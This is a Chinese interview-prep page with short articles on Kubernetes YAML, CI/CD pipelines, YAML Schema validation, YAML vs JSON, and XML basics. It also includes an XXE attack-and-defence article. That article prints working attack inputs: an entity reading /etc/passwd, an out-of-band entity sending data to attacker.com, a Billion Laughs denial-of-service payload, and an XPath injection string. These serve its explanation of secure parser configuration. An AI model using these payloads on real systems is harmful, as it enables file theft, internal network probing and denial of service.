面试题手册

梳理高频技术问题,帮助你按主题复习和查漏补缺。

服务端阅读 05月28日 03:53

Kubernetes YAML 怎么写?核心字段和常见配置模式详解

Kubernetes 用 YAML 声明式描述资源期望状态——你告诉 K8s"我要什么结果",它负责把集群调到那个状态。一个合法的 K8s YAML 只有四个必填顶层字段:apiVersion、kind、metadata、spec。所有资源都是这四件套的排列组合,区别只在 spec 里填什么。追问apiVersion 怎么选?选错了会怎样?按资源类型对照:核心资源 v1(Pod、Service、ConfigMap、Secret),工作负载 apps/v1(Deployment、StatefulSet、DaemonSet),网络 networking.k8s.io/v1(Ingress、NetworkPolicy),批处理 batch/v1(Job、CronJob),权限 rbac.authorization.k8s.io/v1。拿不准就跑 kubectl api-resources 查。选错版本有两种后果:用了废弃版本(如 extensions/v1beta1 的 Deployment),K8s 1.16 之后直接报错拒绝创建;用了太新的版本但集群版本低,同样报错。生产环境升级 K8s 前必须检查 API 废弃公告,否则 kubectl apply 一跑全挂。metadata 里 labels 和 annotations 分别干什么?labels 是给 K8s 的选择器用的——Service 找 Pod、Deployment 管 ReplicaSet 全靠 label 匹配,值要短、要稳、要有层次(比如 app: order-service, tier: backend, env: prod)。annotations 不参与选择器,存给人看的信息:Git commit hash、变更原因、负责人邮箱、监控配置等。一条原则:selector 需要匹配的放 labels,纯描述放 annotations。踩坑提醒:label 值一旦写进 selector 就别随便改,改了会导致 Deployment 丢失 Pod、Service 断流。annotations 随便改,不影响运行。spec 里 replicas、selector、template 三者什么关系?为什么经常报错?这是 Deployment 最容易出错的地方。replicas 决定跑几个 Pod,selector 声明"我管哪些 Pod"(通过 matchLabels),template 定义"Pod 长什么样"。铁律:selector.matchLabels 必须是 template.metadata.labels 的子集,否则 Deployment 创建了 Pod 却认不出它们,replicas 永远对不上,Pod 会被反复创建又丢弃。实战中最常犯的错:改了 template 里的 label 却忘了同步改 selector,或者 Deployment 和 Service 的 selector 对不上,导致 Service 发现不了 Pod。排查时 kubectl get pods -l app=myapp 看 selector 能不能匹配到 Pod。多资源写一个文件用 --- 分隔,什么场景该合什么场景该拆?--- 把多个资源塞进一个 YAML 文件,kubectl apply -f app.yaml 一次全部署。同一个应用的所有资源(Deployment + Service + ConfigMap)适合合在一起,变更追踪和回滚都方便。不同应用的资源必须拆开,否则一个文件改坏全挂,kubectl diff 也看不出谁改了什么。更复杂的场景用 Kustomize 的 overlay 机制或 Helm chart 管理,别在单文件里堆几十个资源。资源限制 requests 和 limits 都要设吗?不设会怎样?都要设,尤其是生产环境。requests 是调度依据,K8s 据此决定 Pod 放哪个节点;limits 是硬上限,超过就被 OOMKill 或 CPU 节流。不设 requests:调度器不知道 Pod 需要多少资源,可能把重负载 Pod 全堆到一个节点,节点撑爆。不设 limits:一个 Pod 可以吃光节点资源,邻居全受影响(Noisy Neighbor 问题)。常见策略:requests 设为实际用量的 70-80%,limits 设为 requests 的 1.5-2 倍。用 kubectl top pods 观察实际用量,定期调整。YAML 常见报错怎么排查?缩进错误最常见:必须用空格不能用 Tab,同一层级严格对齐,嵌套加两个空格。类型错误:端口号别加引号(80 不是 "80"),布尔值用 true/false 不用 yes/no(YAML 1.2 规范不认后者)。必填字段漏了:Deployment 必须有 selector,Service 必须有 port 和 targetPort。排查三板斧:kubectl apply --dry-run=client 先试跑看语法错误,yamllint 检查格式规范,kubeval 或 kubeconform 校验字段是否合法。CI 流水里加上这几步,能挡住 90% 的低级错误。
服务端阅读 05月28日 03:53

YAML 在 CI/CD 流水线中怎么用?

YAML 在 CI/CD 流水线中承担的是"流水线即代码"的角色——所有构建步骤、触发条件、环境变量、依赖关系都用 YAML 声明式定义,和代码一起入库版本管理。主流平台各有自己的 YAML 约定:GitHub Actions 用 .github/workflows/*.yml,GitLab CI 用根目录的 .gitlab-ci.yml,CircleCI 用 .circleci/config.yml。虽然语法细节不同,但核心结构都是"触发条件 → 作业定义 → 步骤执行",掌握一个平台后迁移到另一个成本很低。面试中容易踩的坑:很多人能写出基本流水线,但被问到"怎么控制部署只在 main 分支触发""缓存键怎么设计才能命中""矩阵构建怎么用"就卡壳了。这几个是区分"写过流水线"和"理解流水线"的分水岭。追问GitHub Actions 和 GitLab CI 的 YAML 结构有什么区别?GitHub Actions 以 jobs 为核心,每个 job 下有 steps,step 可以是 run(执行命令)或 uses(引用 Action),job 间通过 needs 声明依赖。GitLab CI 以 stage 为核心,同 stage 的 job 并行,stage 间串行,job 用 script 执行命令。最大的差异是复用机制:GitHub Actions 有可复用工作流(workflow_call)和组合 Action,GitLab CI 用 include 拆分模板和 extends 继承配置。条件执行有哪些常见写法?GitHub Actions 用 if 表达式,支持 github.ref、github.event_name 等上下文变量,也支持 always()、failure() 等状态函数。GitLab CI 用 rules 和 only/except,rules 优先级更高且支持 when + if 组合。实际项目中最常见的场景是:main 分支自动部署生产、develop 分支部署 staging、其他分支只跑测试。缓存配置怎么写才能实际命中?关键在缓存键的设计。很多人直接用 key: npm-cache,结果永远命中旧缓存。正确做法是用文件哈希作为键的一部分:${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }},这样依赖变化时缓存自动失效。GitLab CI 的 cache:key 同理,用 $CI_COMMIT_REF_SLUG 配合 files 关键字。还要注意缓存路径要对——npm 缓存 ~/.npm 而不是 node_modules,后者用 artifacts 传递更可靠。矩阵构建怎么用?有什么坑?矩阵构建用来同时在多个环境组合下测试,比如不同 Node 版本和操作系统:strategy: matrix: node-version: [16, 18, 20] os: [ubuntu-latest, macos-latest]坑主要两个:一是矩阵爆炸,3 个版本 × 3 个系统 = 9 个 job,GitHub 免费额度很快用完,建议用 fail-fast: true 加 max-parallel 控制;二是某些组合天然跑不了(比如 macOS 上没有 Docker),要用 exclude 排除。YAML 锚点和别名在 CI/CD 里能用吗?语法上 YAML 的 & 锚点和 * 别名是标准特性,GitLab CI 支持得很好,可以复用默认配置减少重复。但 GitHub Actions 不支持锚点和别名——它的 YAML 解析器会报错。所以在 GitHub Actions 里要复用配置,只能用可复用工作流或组合 Action,别想走锚点捷径。写段代码一个实用的 GitHub Actions 缓存 + 条件部署精简模板:jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/cache@v3 with: path: ~/.npm key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }} - run: npm ci && npm test deploy: needs: test if: github.ref == 'refs/heads/main' runs-on: ubuntu-latest steps: - run: echo "deploy to production"
服务端阅读 05月28日 03:53

什么是 YAML Schema?如何用它验证 YAML 文件的结构和内容?

YAML Schema 是给 YAML 文件定义"规矩"的技术——它声明一份 YAML 应该有哪些字段、每个字段什么类型、哪些必填、值域范围是什么。面试里问到这个点,核心考察的是你对配置治理的理解,而不仅仅是会用某个库。面试直答YAML Schema 本质上是一份"元数据描述",类似 JSON Schema 之于 JSON。主流做法是用 JSON Schema(draft-07 或 draft-2020-12)来描述 YAML 的结构,因为 YAML 是 JSON 的超集,两者天然兼容。验证流程三步走:编写 Schema 文件(通常是 .json 或 .yaml 格式)加载目标 YAML 文件并解析为数据对象用验证库将数据对象与 Schema 比对,输出合规或不合规结果追问:JSON Schema 和自定义 Schema 格式怎么选? 优先选 JSON Schema。生态最成熟,Python 的 jsonschema、JS 的 ajv、Java 的 everit-org/json-schema 都支持;自定义格式除非你有非常特殊的约束需求(比如运行时动态生成规则),否则维护成本远大于收益。Schema 怎么写最小可用示例假设有一份应用配置:# app-config.yamlserver: host: api.example.com port: 443 ssl: truedatabase: type: postgresql host: db.internal port: 5432 name: myapp对应的最小 Schema:{ "$schema": "http://json-schema.org/draft-07/schema#", "type": "object", "required": ["server", "database"], "properties": { "server": { "type": "object", "required": ["host", "port"], "properties": { "host": { "type": "string", "format": "hostname" }, "port": { "type": "integer", "minimum": 1, "maximum": 65535 }, "ssl": { "type": "boolean", "default": false } } }, "database": { "type": "object", "required": ["type", "host", "port", "name"], "properties": { "type": { "type": "string", "enum": ["postgresql", "mysql", "mongodb"] }, "host": { "type": "string" }, "port": { "type": "integer", "minimum": 1, "maximum": 65535 }, "name": { "type": "string", "minLength": 1 } } } }}注意几个关键约束写法:required 控制必填、enum 限定枚举值、minimum/maximum 限定数值范围、format 利用内置格式校验(hostname、email、uri、ipv4 等)、default 声明默认值。组合模式:allOf / anyOf / oneOf实际项目中,配置经常需要"条件组合"。JSON Schema 提供了三个组合关键字:allOf:所有子 Schema 都必须满足(逻辑与)anyOf:至少满足一个子 Schema(逻辑或)oneOf:恰好满足一个子 Schema(互斥)一个典型的条件验证场景——开启 SSL 时必须提供证书路径:{ "type": "object", "properties": { "ssl": { "type": "boolean" }, "cert_path": { "type": "string" }, "key_path": { "type": "string" } }, "if": { "properties": { "ssl": { "const": true } } }, "then": { "required": ["cert_path", "key_path"] }}if/then/else 是 draft-07 引入的条件校验,比 allOf 组合更直观。$ref 拆分与复用当 Schema 越写越大,可以用 $ref 把公共部分抽出来:{ "$schema": "http://json-schema.org/draft-07/schema#", "definitions": { "portSpec": { "type": "integer", "minimum": 1, "maximum": 65535 }, "hostSpec": { "type": "string", "format": "hostname" } }, "type": "object", "properties": { "server": { "type": "object", "properties": { "host": { "$ref": "#/definitions/hostSpec" }, "port": { "$ref": "#/definitions/portSpec" } } }, "database": { "type": "object", "properties": { "host": { "$ref": "#/definitions/hostSpec" }, "port": { "$ref": "#/definitions/portSpec" } } } }}这样 server 和 database 的端口、主机名校验规则共享同一份定义,改一处全局生效。验证代码怎么写Python(jsonschema 库)import yamlfrom jsonschema import validate, ValidationErrorwith open('app-config.yaml') as f: config = yaml.safe_load(f)with open('schema.json') as f: schema = yaml.safe_load(f) # JSON 也是合法 YAMLtry: validate(instance=config, schema=schema) print("验证通过")except ValidationError as e: print(f"验证失败: {e.message}") print(f"出错路径: {' → '.join(str(p) for p in e.path)}")ValidationError 对象包含 message(错误描述)、path(出错字段路径)、instance(实际值),生产环境务必把这三个信息记进日志。JavaScript / Node.js(ajv)const yaml = require('js-yaml');const Ajv = require('ajv');const fs = require('fs');const config = yaml.load(fs.readFileSync('app-config.yaml', 'utf8'));const schema = JSON.parse(fs.readFileSync('schema.json', 'utf8'));const ajv = new Ajv({ allErrors: true }); // allErrors 输出全部错误const validate = ajv.compile(schema);if (validate(config)) { console.log('验证通过');} else { console.log('验证失败:', validate.errors);}allErrors: true 让 ajv 一次性返回所有校验错误,而不是遇到第一个就停。调试阶段建议开启。命令行工具不用写代码也能验证:# Python 环境pip install yamllint jsonschemacheck-jsonschema --schemafile schema.json app-config.yaml# Kubernetes 配置专用kubeval deployment.yaml# OpenAPI 规范验证spectral lint openapi.yamlcheck-jsonschema 是 jsonschema 包自带的 CLI 工具,直接在终端跑验证,适合集成到 Git hooks 或 CI 流水线。常见验证规则速查| 验证需求 | Schema 写法 ||---------|------------|| 必填字段 | "required": ["field1", "field2"] || 枚举值 | "enum": ["dev", "staging", "prod"] || 数值范围 | "minimum": 1, "maximum": 65535 || 字符串格式 | "format": "email" / "format": "ipv4" / "format": "uri" || 正则匹配 | "pattern": "^\\d+\\.\\d+\\.\\d+$" || 数组长度 | "minItems": 1, "maxItems": 10 || 数组去重 | "uniqueItems": true || 条件必填 | "if": {...}, "then": {"required": [...]} || 默认值 | "default": 30(需验证库支持填充) || 引用复用 | "$ref": "#/definitions/xxx" |Kubernetes 场景的 Schema 验证K8s 是 YAML Schema 应用最广泛的领域。每个资源类型都有对应的 OpenAPI v3 Schema,kubeval 和 kubectl --dry-run 是最常用的验证手段:# 离线验证(不连接集群)kubeval -v 1.28 deployment.yaml# 在线验证(连接 API Server)kubectl apply --dry-run=client -f deployment.yaml# 严格模式(检查所有字段)kubectl apply --dry-run=server -f deployment.yaml--dry-run=server 会把请求发给 API Server 做完整校验(包括 webhook 和 admission controller),比 client 模式更严格,但也需要集群权限。K8s 自定义资源(CRD)的 Schema写 CRD 时,validation 字段本身就是一份 OpenAPI v3 Schema:apiVersion: apiextensions.k8s.io/v1kind: CustomResourceDefinitionmetadata: name: apps.mycompany.comspec: group: mycompany.com versions: - name: v1 served: true storage: true schema: openAPIV3Schema: type: object properties: spec: type: object required: ["replicas", "image"] properties: replicas: type: integer minimum: 1 maximum: 100 image: type: string env: type: object additionalProperties: type: stringadditionalProperties 搭配 type: string 表示 env 可以有任意数量的字符串键值对,但值必须是字符串类型。CI/CD 集成实战把 Schema 验证嵌入流水线,是配置治理的落地关键。GitHub Actions 示例name: Validate Configson: [push, pull_request]jobs: validate: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: '3.12' - run: pip install check-jsonschema yamllint - run: yamllint configs/ - run: check-jsonschema --schemafile schemas/app.json configs/app.yaml - run: check-jsonschema --schemafile schemas/deployment.json configs/deployment.yamlGit Pre-commit Hook#!/bin/bash# .git/hooks/pre-commitfor file in $(git diff --cached --name-only | grep '\.ya?ml$'); do check-jsonschema --schemafile schemas/base.json "$file" || exit 1donePre-commit 钩子在开发者本地就拦住不合规配置,避免问题推到远程仓库。踩坑经验YAML 的隐式类型转换 —— true/false/yes/no/on/off 在 YAML 里会被解析为布尔值,02:30 会被解析为时间。如果这些值应该当字符串处理,Schema 里要用 "type": "string" 并在 YAML 中加引号。default 不一定会填充 —— JSON Schema 规范里 default 只是提示性的,jsonschema 库不做默认值填充。需要填充的话,用 ajv 的 useDefaults 选项或自己写后处理逻辑。additionalProperties: false 要慎用 —— 它会禁止 Schema 中未声明的字段出现,扩展性差。建议只在内部严格约束的配置上使用,对外接口的 Schema 用 additionalProperties: true 或直接省略。锚点和别名干扰验证 —— YAML 的 &anchor / *alias 在 safe_load 后会被解析器展开,验证库看到的是展开后的数据,不会感知到锚点的存在。如果验证需要考虑"哪些字段是别名引用的",得在 safe_load 之前自行处理。Schema 版本要锁定 —— $schema 字段指定 draft 版本,不同版本的语义有差异(比如 draft-04 没有 if/then/else,draft-2019-09 把 definitions 改成了 $defs)。团队内统一用一个版本,别混着写。Schema 验证说到底是配置治理的基础手段——从开发者本地的编辑器提示,到 Git 钩子拦截,再到 CI 流水线校验,每一层都在把配置错误往左移。做得越早,线上因为配置出事故的概率就越低。
服务端阅读 05月28日 03:52

YAML 和 JSON 有什么区别?如何选择?

YAML 和 JSON 都是数据序列化格式,核心区别在于设计目标不同:YAML 追求人类可读,JSON 追求机器解析效率。YAML 用缩进表示层级,支持注释、多行字符串、对象引用(&/*)和更丰富的数据类型(日期、二进制等);JSON 用大括号和方括号表示结构,语法严格但不支持注释,数据类型只有字符串、数字、布尔、null、对象和数组六种。选择依据很简单:需要人手写和阅读的用 YAML(配置文件、CI/CD、K8s 清单),需要机器快速解析和跨系统传输的用 JSON(API 响应、日志、数据存储)。性能上 JSON 解析速度通常是 YAML 的 5-10 倍,因为 YAML 规范复杂(1.2 规范 80+ 页),解析器要做更多推断。兼容性方面,YAML 是 JSON 的超集——合法的 JSON 一定是合法的 YAML,反过来不行。追问YAML 解析为什么比 JSON 慢那么多?YAML 规范支持大量隐式类型推断(比如 true/false/yes/no 都能识别为布尔值)、锚点和别名、多文档流等特性,解析器必须处理这些边界情况。JSON 只有 6 种数据类型,语法规则简单到可以用一个状态机完整描述,解析路径几乎是确定性的。实际项目中 YAML 解析耗时通常是 JSON 的 5-10 倍,配置文件体积大的时候差距更明显。YAML 的缩进坑踩过吗?踩过。最常见的是 Tab 和空格混用——YAML 只允许空格缩进,混入一个 Tab 就会报解析错误,而且报错信息往往指向错误的行号。另一个坑是冒号后面没加空格,key:value 在 YAML 里不会被识别为键值对,必须写成 key: value。还有布尔值陷阱:yes/no/on/off 在 YAML 1.1 里会被解析为 true/false,如果你本意是字符串,得加引号。Kubernetes 和 CI/CD 配置里这些问题特别容易踩。项目里有没有 YAML 和 JSON 混用的场景?有。Spring Boot 项目里 application.yml 写配置,但外部化配置覆盖时用环境变量或 JSON 格式的配置中心下发;CI/CD 流水线的触发配置是 JSON(比如 GitHub webhook payload),但流水线定义文件是 YAML。还有些工具支持两种格式互转,比如 yq 处理 YAML、jq 处理 JSON,管道组合着用。YAML 的锚点和别名实际用在哪?Kubernetes 的 ConfigMap 和 Secret 复用场景。用 & 定义一个锚点,后面用 * 引用,避免同一份配置写多遍。比如多个 Deployment 引用同一个环境变量块:common-env: &common-env DB_HOST: db.example.com DB_PORT: "5432"deployment-a: env: *common-envdeployment-b: env: *common-env不过不是所有 YAML 解析器都支持锚点,Docker Compose 支持但有些轻量解析器不支持,用之前先确认。什么时候 JSON 反而比 YAML 更适合做配置文件?配置需要程序生成和修改的场景。比如 VS Code 的 settings.json——由扩展程序读写,JSON 格式方便序列化/反序列化,不需要注释(注释需求可以通过 _$comment 之类的字段变通解决)。还有需要严格 Schema 校验的场景,JSON Schema 生态比 YAML 的校验工具成熟得多,AJV 等库能做编译时校验,出错了能精确定位到行和字段。
计算机基础阅读 05月28日 03:50

XXE 攻击原理与防护:从 XML 注入到实战防御

XML 解析器天生就会处理 DTD 中的外部实体引用——这个设计初衷是为了方便模块化文档管理,却被攻击者利用来读取服务器文件、发起内网请求,甚至执行代码。这就是 XXE(XML External Entity)攻击的核心原理。2025 年 6 月,Apache Tika 爆出 CVE-2025-66516(CVSS 8.4),攻击者通过上传恶意 PDF 文件触发 XXE,读取服务器敏感文件——这说明 XXE 不是历史遗留问题,至今仍有新的攻击面被挖掘出来。XXE 攻击是怎么发生的XML 规范允许在 DTD(文档类型定义)中声明实体,其中 SYSTEM 类型的实体会让解析器去访问指定的 URI:<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>解析器在处理 &xxe; 时,会读取 /etc/passwd 的内容并替换进去。如果应用把解析结果返回给用户,敏感文件内容就泄露了。哪怕应用不回显解析结果,攻击者依然可以通过外带(OOB)方式获取数据:<!DOCTYPE data [ <!ENTITY xxe SYSTEM "http://attacker.com/collect?data=SECRET">]>或者利用盲 XXE 通过响应时间差异来推断信息。哪些场景容易中招不是只有"接收 XML 参数的 API"才需要担心。以下场景都可能成为 XXE 的入口:SOAP Web Service:SOAP 消息本身就是 XML,如果后端没有安全配置解析器,直接沦陷文件上传功能:SVG 图片、DOCX/PPTX 文档、XLSX 表格底层都是 XML 格式,上传恶意文件就可能触发 XXESSO/SAML:SAML 断言是 XML 格式,身份认证流程中的 XXE 可能导致认证绕过RSS/Atom 订阅:聚合外部 RSS 源时,恶意 RSS 中的 XML 实体可能被解析三种 XML 注入攻击类型XXE(XML 外部实体注入)最常见、危害最大。上面已经展示了攻击方式。核心危害包括:读取服务器任意文件(file:// 协议)发起 SSRF 攻击(http:// 协议探测内网)拒绝服务(Billion Laughs 攻击,通过实体嵌套指数级膨胀 XML 体积)在特定环境下远程代码执行(如 PHP expect 协议)XML 标签注入攻击者通过注入 XML 标签修改文档结构,篡改业务逻辑:<!-- 正常请求 --><user><name>John</name></user><!-- 注入后:给自己加了个 admin 角色 --><user><name>John</name><role>admin</role></user>这类攻击的关键是应用直接把用户输入拼接到 XML 文档中,没有做转义或结构校验。XPath 注入类似 SQL 注入的思路,针对 XPath 查询:// 正常查询//user[username='john' and password='secret']// 注入后:绕过密码验证//user[username='john' or '1'='1' and password='anything']防护方案1. 禁用 DTD 和外部实体(最关键)这是防护 XXE 的根本措施。不同语言的配置方式不同:Java:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);dbf.setXIncludeAware(false);dbf.setExpandEntityReferences(false);disallow-doctype-decl 设为 true 会直接拒绝包含 DTD 的 XML,这是最严格的防护。如果业务必须使用 DTD,至少要禁用外部实体(后面三个 false)。Python(lxml):from lxml import etreeparser = etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True)tree = etree.parse("data.xml", parser=parser)no_network=True 阻止解析器发起网络请求,切断 SSRF 攻击面。PHP(8.0+):// PHP 8.0 起 libxml_disable_entity_loader() 已废弃// 正确做法:使用 LIBXML_NOENT 标志配合内部实体处理$dom = new DOMDocument();$dom->loadXML($xmlString, LIBXML_NONET);LIBXML_NONET 禁止网络访问,替代了已废弃的 libxml_disable_entity_loader()。.NET:XmlReaderSettings settings = new XmlReaderSettings();settings.DtdProcessing = DtdProcessing.Prohibit; // 禁止 DTDsettings.XmlResolver = null; // 禁止解析外部实体XmlReader reader = XmlReader.Create(stream, settings);2. 输入验证在解析之前,先检查 XML 中是否包含危险结构:public boolean isSafeXML(String xml) { String upper = xml.toUpperCase(); return !upper.contains("<!DOCTYPE") && !upper.contains("<!ENTITY");}注意:输入验证是辅助手段,不能替代解析器安全配置。攻击者可能通过编码、注释等方式绕过字符串检测。3. 使用 JSON 替代 XML如果业务允许,直接用 JSON 代替 XML 作为数据交换格式。JSON 不支持实体和 DTD,从根本上消除了 XXE 风险。对于 REST API 来说,这通常是最简单的解决方案。4. XPath 注入防护:参数化查询和 SQL 注入用参数化查询一样,XPath 也支持变量绑定:XPathFactory factory = XPathFactory.newInstance();XPath xpath = factory.newXPath();xpath.setXPathVariableResolver(varName -> { switch (varName) { case "username": return username; case "password": return password; default: return null; }});XPathExpression expr = xpath.compile("//user[username=$username and password=$password]");5. XML Schema 验证用 XSD 约束 XML 文档的结构,拒绝不符合预期的输入:SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);Schema schema = sf.newSchema(new File("schema.xsd"));DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setSchema(schema);dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);Schema 验证既防标签注入,也限制了 XML 的结构和内容。6. 最小权限运行即使 XXE 攻击成功,如果应用进程没有读取敏感文件的权限,攻击者也只能拿到低权限数据。容器化部署、只读文件系统、网络策略限制外联,都是纵深防御的一环。Billion Laughs 攻击:一种特殊的拒绝服务这种攻击利用实体嵌套让 XML 体积指数级膨胀:<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">]><root>&lol4;</root>&lol4; 展开后约 10 亿个 lol,轻松耗尽内存。防护方式同样是禁用 DTD——上面提到的解析器配置已经覆盖了这个场景。检测和排查Burp Suite:拦截请求,手动注入 XXE payload 测试OWASP ZAP:自动化扫描 XXE 漏洞SonarQube:静态代码分析,检测不安全的 XML 解析配置XXEinjector:专门针对 XXE 的自动化检测工具,支持 OOB 和 Blind XXE在 CI/CD 流程中集成 SAST 工具扫描 XML 解析相关代码,可以在部署前就发现风险配置。
计算机基础阅读 05月28日 03:49

XML 和 HTML 有什么区别?

XML 和 HTML 都是标记语言,但定位完全不同:HTML 是用来显示网页内容的,标签全预定义;XML 是用来存储和传输数据的,标签可以自己定义。面试中抓住"设计目的""标签定义""语法严格性"三个核心差异展开就够。一段代码看清区别:<!-- HTML:预定义标签,关注显示 --><h1>用户信息</h1><p>姓名:张三</p><!-- XML:自定义标签,关注数据结构 --><user> <name>张三</name> <age>28</age></user>同样的"用户信息",HTML 关心怎么在页面上展示,XML 关心数据本身的含义和层级关系。这个根本分歧决定了两者在语法、结构、应用场景上的所有差异。追问XML 和 HTML 的语法严格性有什么具体区别?XML 严格得多,根本原因在于两者的容错需求不同。HTML 要容错——网页打不开用户就直接走了,所以浏览器会尽可能猜测意图并渲染。XML 传数据——格式错了数据就不可信了,所以解析器遇到错误直接报停。具体规则对比:| 规则 | XML | HTML ||------|-----|------|| 标签关闭 | 必须关闭,自闭合写 <br/> | <p> <br> 可不关 || 大小写 | 区分,<Name> ≠ <name> | 不区分 || 属性引号 | 必须加 | 有时可省 || 根元素 | 有且仅有一个 | 允许多个(不推荐)|| 嵌套 | 必须严格正确嵌套 | 允许部分错误嵌套 |面试时说出"容错需求不同导致语法严格性不同"这个根本原因,比单纯背规则更体现理解深度。DTD 和 XML Schema 是什么?有什么区别?两者都约束 XML 文档结构——哪些标签能出现、顺序如何、数据类型是什么。DTD 是早期方案,语法简单但功能有限:不支持数据类型定义(只能区分 PCDATA 和 CDATA)、不支持命名空间、用的不是 XML 语法本身。XML Schema(XSD)更强大:支持 string/integer/date 等丰富数据类型、命名空间避免标签冲突、正则约束,而且 XSD 本身就是 XML 格式写的,可以用 XML 工具链处理。实际项目优先用 XSD,DTD 基本只在维护遗留系统时遇到。实际项目里 XML 还常用吗?Web 开发中 XML 的使用确实在下降,但远没到淘汰的程度:Spring 的 bean 配置、Maven 的 pom.xml、Android 的布局文件和 AndroidManifest.xml、SVG 矢量图、Office 文档格式(.docx/.xlsx 本质是 ZIP 包裹的 XML)——这些你日常都在用。新项目的数据接口基本都改用 JSON 了,但 XML 在配置文件和文档格式领域仍有不可替代的位置。安全方面有个高频考点:XXE 漏洞(XML 外部实体注入)——攻击者通过 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 读取服务器文件,防护方式是解析器禁用外部实体。XML 和 JSON 相比各有什么优劣?JSON 轻量、解析快、和 JavaScript 天然亲和,是 Web API 主流。XML 的优势在于:属性和嵌套两种信息表达方式(<user id="1"><name>张三</name></user> 里 id 是属性、name 是子元素,JSON 没有这种区分)、成熟的 schema 验证(XSD)、命名空间避免标签冲突(SOAP 消息里 <soap:Body> 和 <wsa:Action> 共存)、注释和元数据更丰富。需要严格验证和复杂结构选 XML,追求轻量和速度选 JSON。一个实用判断:配置文件和文档格式选 XML,API 数据交换选 JSON。
计算机基础阅读 05月28日 03:48

什么是 XML 命名空间,如何声明和使用它?

当两个不同的 XML 词汇表使用相同的元素名时,解析器无法区分它们——这就是命名冲突。XML 命名空间(Namespace)正是为解决这个问题而设计的机制,它通过为元素和属性绑定一个全局唯一的 URI 标识符,让同名元素可以和平共处。为什么需要命名空间假设一份文档同时引用了两个 XML 词汇表,两者都定义了 <table> 元素:一个表示表格数据,另一个表示家具。没有命名空间时,解析器无法判断 <table> 到底指哪个。命名空间通过在元素前加前缀并绑定唯一 URI 来消除歧义。需要注意的是,命名空间 URI 仅作为唯一标识符使用,解析器不会去访问这个地址。URI 选择 URL 格式只是惯例,并非强制——任何合法的 URI 都可以,包括 URN。命名空间的声明语法命名空间使用 xmlns 属性声明,有两种形式:<!-- 带前缀的命名空间 --><root xmlns:prefix="namespaceURI"> <prefix:element>内容</prefix:element></root><!-- 默认命名空间 --><root xmlns="namespaceURI"> <element>内容</element></root>关键规则:xmlns 是保留属性名,专门用于命名空间声明前缀是自定义的简短别名,遵循 XML 名称命名规则以 xml(任何大小写组合)开头的前缀被保留,不能自定义URI 必须用引号包裹,通常使用 URL 格式默认命名空间 vs 带前缀的命名空间| 特性 | 默认命名空间 | 带前缀的命名空间 ||------|------------|----------------|| 声明方式 | xmlns="URI" | xmlns:prefix="URI" || 适用范围 | 未加前缀的元素 | 使用该前缀的元素和属性 || 是否适用于属性 | 不适用 | 适用 || 典型场景 | 文档中只有一种词汇表 | 文档混合多种词汇表 |一个重要区别:默认命名空间不适用于属性。未加前缀的属性永远属于无命名空间,即使所在元素有默认命名空间。如果属性需要属于某个命名空间,必须使用带前缀的声明。<book xmlns="http://example.com/books" xmlns:dc="http://purl.org/dc/elements/1.1/"> <!-- title 元素属于 http://example.com/books --> <!-- dc:title 属性属于 http://purl.org/dc/elements/1.1/ --> <title dc:title="主标题">XML 入门</title></book>命名空间的作用域命名空间声明在声明它的元素及其所有后代元素中有效,遵循以下规则:继承:子元素自动继承祖先元素的命名空间声明覆盖:子元素可以重新声明同名前缀,新的绑定在子元素范围内生效无命名空间:如果元素没有前缀且没有默认命名空间,它属于"无命名空间"<root xmlns:a="http://example.com/a"> <a:child> <!-- a 前缀仍然绑定 http://example.com/a --> <a:grandchild xmlns:a="http://example.com/b"> <!-- 这里 a 前缀重新绑定到 http://example.com/b --> </a:grandchild> </a:child></root>命名空间在实际协议中的应用SOAP 消息SOAP 协议是命名空间应用的典型场景,一条 SOAP 消息同时使用 SOAP 信封命名空间和业务数据命名空间:<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:m="http://www.example.com/stock"> <soap:Header> <m:Authentication> <m:Username>user</m:Username> <m:Password>pass</m:Password> </m:Authentication> </soap:Header> <soap:Body> <m:GetStockPrice> <m:StockSymbol>IBM</m:StockSymbol> </m:GetStockPrice> </soap:Body></soap:Envelope>soap 前缀标识协议层元素,m 前缀标识业务数据元素,两者互不干扰。XML Schema(XSD)XSD 本身大量使用命名空间,xs 或 xsd 前缀是 XSD 元素的通用约定:<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="book" type="xs:string"/></xs:schema>在 XSD 验证中,命名空间决定了类型定义和元素声明的归属。目标命名空间(targetNamespace)指定了该 Schema 定义的所有组件属于哪个命名空间。常见错误与陷阱前缀声明但未使用:声明了 xmlns:foo 却从未使用 foo: 前缀,虽然不会报错,但说明声明是多余的默认命名空间不覆盖属性:这是最常见的误解,未加前缀的属性不属于默认命名空间URI 相等性:命名空间比较是字符串精确匹配,http://example.com 和 http://example.com/ 是两个不同的命名空间在根元素上声明所有命名空间:虽然合法,但只在需要时声明可以让文档更清晰混用不同前缀绑定同一 URI:合法但容易混淆,同一文档中应保持前缀一致最佳实践使用公司域名的 URL 格式作为 URI,确保全球唯一前缀选择简短且有意义,如 xs 表示 XML Schema,xhtml 表示 